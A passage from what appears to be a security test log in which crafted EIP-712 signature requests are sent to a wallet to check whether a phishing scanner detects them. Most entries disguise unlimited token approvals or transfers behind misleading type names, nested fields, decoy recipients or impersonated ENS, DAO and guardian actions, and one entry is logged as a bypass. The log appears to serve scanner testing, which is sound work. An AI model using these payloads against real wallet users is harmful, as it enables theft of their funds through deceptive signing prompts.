"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN24-EIP3009-022", "timestamp": "2026-01-31T17:12:19.583Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xd0334ddd736bb2062b1477a7203254f6193fa2d5387cf379c5c958005e3d322f\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN24-EIP3009-054", "timestamp": "2026-01-31T17:12:26.121Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x3d48ec47470653ce6e478e25810a88524d45da42c941f4c77525b751001de289\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T17:12:35.759Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T17:12:44.959Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T17:12:54.138Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T17:13:03.325Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T17:13:12.538Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T17:13:21.732Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T17:13:30.896Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T17:13:40.094Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T17:13:49.268Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T17:13:58.439Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T17:14:07.642Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T17:14:16.833Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T17:14:26.025Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T17:14:35.423Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T17:14:44.618Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T17:14:53.790Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance 